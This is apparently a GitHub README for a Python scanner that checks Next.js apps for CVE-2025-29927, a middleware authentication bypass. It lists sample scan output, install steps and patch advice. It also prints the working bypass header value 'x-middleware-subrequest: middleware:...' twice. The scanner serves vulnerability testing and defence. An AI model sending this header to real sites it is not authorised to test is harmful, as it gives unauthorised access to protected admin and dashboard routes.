sagsooz/cve-2025-29927🔐 Python-based smart scanner for CVE-2025-29927 — Next.js middleware authentication bypass vulnerability. Detects meta refresh, keyword-based redirects, and more.
This Python-based smart scanner helps detect the CVE-2025-29927 vulnerability in Next.js applications — a critical middleware bypass that allows attackers to skip authentication using a crafted HTTP header.
🧠 The tool identifies not only HTTP redirects but also client-side redirection mechanisms such as
<meta http-equiv="refresh">, keyword-based login redirects, and silent auth bypasses.
x-middleware-subrequest bypass headers<meta refresh> based redirectslogin, sign in, authentication$ python3 CVE-2025-29927.py
🌐 Enter the target site URL (e.g. http://localhost:3000): http://vulnerable.local
📁 Enter the protected path (e.g. /dashboard): /admin
→ Testing with header: middleware:middleware:middleware:middleware:middleware
↳ HTTP Status: 200
↳ Redirect detected: No
✅ VULNERABLE! Bypass successful with header:
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
git clone https://github.com/sagsooz/CVE-2025-29927.git
cd CVE-2025-29927
pip install -r requirements.txt
python3 CVE-2025-29927.py
.
├── CVE-2025-29927.py # Main interactive scanner
├── requirements.txt # Python dependencies
└── README.md # This file
requests
beautifulsoup4
colorama
If your app is affected, do the following:
v15.2.3 or later (or 14.2.25+ / 13.5.7+)proxy_set_header x-middleware-subrequest "";
CVE-2025-29927 allows attackers to bypass Next.js middleware checks by manipulating the x-middleware-subrequest header with crafted values such as:
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
In vulnerable versions, this disables middleware execution completely — allowing direct access to protected routes like /dashboard, /admin, etc.
Maintained by: @mrzblackhat
Feel free to contact me on Telegram for suggestions, improvements, or contributions.
next.js CVE-2025-29927 bugbounty middleware bypass authentication web security python security scanner ethical hacking
This tool is provided for educational and research purposes only. Use responsibly.